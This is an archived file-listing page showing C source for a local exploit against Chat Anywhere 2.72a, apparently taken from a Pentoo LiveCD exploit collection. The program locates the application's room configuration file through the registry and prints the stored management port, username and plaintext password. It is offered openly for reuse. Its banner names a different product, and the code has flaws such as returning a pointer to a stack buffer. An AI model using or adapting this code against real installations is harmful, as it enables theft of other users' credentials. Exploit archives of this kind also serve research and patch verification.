home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / chatanywhere / ChatAnywhere.c < prev   
Encoding:
C/C++ Source or Header  |  2005-03-04  |  3.7 KB  |  150 lines
  1. /*****************************************************************
  2.  
  3. Chat Anywhere 2.72a Local Exploit by Kozan
  4.  
  5. Application: Chat Anywhere 2.72a
  6. Vendor:LionMax Software
  7. http://www.lionmax.com/
  8.  
  9. Vulnerable Description: Chat Anywhere 2.72a discloses passwords
  10. to local users.
  11.  
  12. Discovered & Coded by: Kozan
  13. Credits to ATmaCA
  14. Web : www.netmagister.com
  15. Web2: www.spyinstructors.com
  16. Mail: kozan[at]netmagister[dot]com
  17.  
  18. *****************************************************************/
  19.  
  20. #include <windows.h>
  21. #include <stdio.h>
  22. #include <string.h>
  23.  
  24. #define BUFSIZE 100
  25. HKEY hKey;
  26. char prgfiles[BUFSIZE];
  27. DWORD dwBufLen=BUFSIZE;
  28. LONG lRet;
  29.  
  30. char *manage_port, *manage_name, *manage_password;
  31.  
  32. int adresal(char *FilePath,char *Str)
  33. {
  34.        char kr;
  35.        int Sayac=0;
  36.        int Offset=-1;
  37.        FILE *di;
  38.        di=fopen(FilePath,"rb");
  39.  
  40.        if( di == NULL )
  41.        {
  42.                fclose(di);
  43.                return -1;
  44.        }
  45.  
  46.        while(!feof(di))
  47.        {
  48.                Sayac++;
  49.                for(int i=0;i<strlen(Str);i++)
  50.                {
  51.                        kr=getc(di);
  52.                        if(kr != Str[i])
  53.                        {
  54.                                if( i>0 )
  55.                                {
  56.                                        fseek(di,Sayac+1,SEEK_SET);
  57.                                }
  58.                                break;
  59.                        }
  60.                        if( i > ( strlen(Str)-2 ) )
  61.                        {
  62.                                Offset = ftell(di)-strlen(Str);
  63.                                fclose(di);
  64.                                return Offset;
  65.                        }
  66.                }
  67.        }
  68.        fclose(di);
  69.        return -1;
  70. }
  71.  
  72. char *oku(char *FilePath,char *Str)
  73. {
  74.  
  75.       FILE *di;
  76.       char cr;
  77.       int i=0;
  78.       char Feature[500];
  79.  
  80.       int Offset = adresal(FilePath,Str);
  81.  
  82.       if( Offset == -1 )
  83.               return "";
  84.  
  85.       if( (di=fopen(FilePath,"rb")) == NULL )
  86.               return "";
  87.  
  88.       fseek(di,Offset+strlen(Str),SEEK_SET);
  89.  
  90.       while(!feof(di))
  91.       {
  92.               cr=getc(di);
  93.               if(cr == 0x0D) break;
  94.  
  95.               Feature[i] = cr;
  96.               i++;
  97.       }
  98.  
  99.       Feature[i] = '\0';
  100.       fclose(di);
  101.       return Feature;
  102. }
  103.  
  104. int main()
  105. {
  106.        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  107.                   "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
  108.                   0,
  109.                   KEY_QUERY_VALUE,
  110.                   &hKey) == ERROR_SUCCESS)
  111.        {
  112.  
  113.                lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
  114.                               (LPBYTE) prgfiles, &dwBufLen);
  115.  
  116.        if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
  117.        {
  118.                        RegCloseKey(hKey);
  119.            printf("An error occured!\n");
  120.            return 0;
  121.        }
  122.  
  123.                RegCloseKey(hKey);
  124.  
  125.        }
  126.        else
  127.    {
  128.        RegCloseKey(hKey);
  129.        printf("An error occured!\n");
  130.        return 0;
  131.        }
  132.        try{
  133.        printf("WWW File Share Pro 2.72 Local Exploit by Kozan\n");
  134.        printf("Credits to ATmaCA\n");
  135.        printf("www.netmagister.com  -  www.spyinstructors.com \n\n");
  136.        printf("This exploit only shows the Demo1 room's password.\n");
  137.        printf("You may improve it freely...\n\n");
  138.    strcat(prgfiles,"\\Chat Anywhere\\room\\Demo1.ini");
  139.        manage_port=oku(prgfiles,"ManagePort=");
  140.        if(manage_port!="")     printf("Manage Port: %s\n",manage_port);
  141.        manage_name=oku(prgfiles,"ManageName=");
  142.        if(manage_name!="") printf("Manage Name: %s\n",manage_name);
  143.        manage_password=oku(prgfiles,"ManagePassword=");
  144.        if(manage_password!="") printf("Manage Password: %s\n",manage_password);
  145.        }catch(...){printf("An error occured!\n"); return 0;}
  146.  
  147.        return 0;
  148.  
  149. }
  150.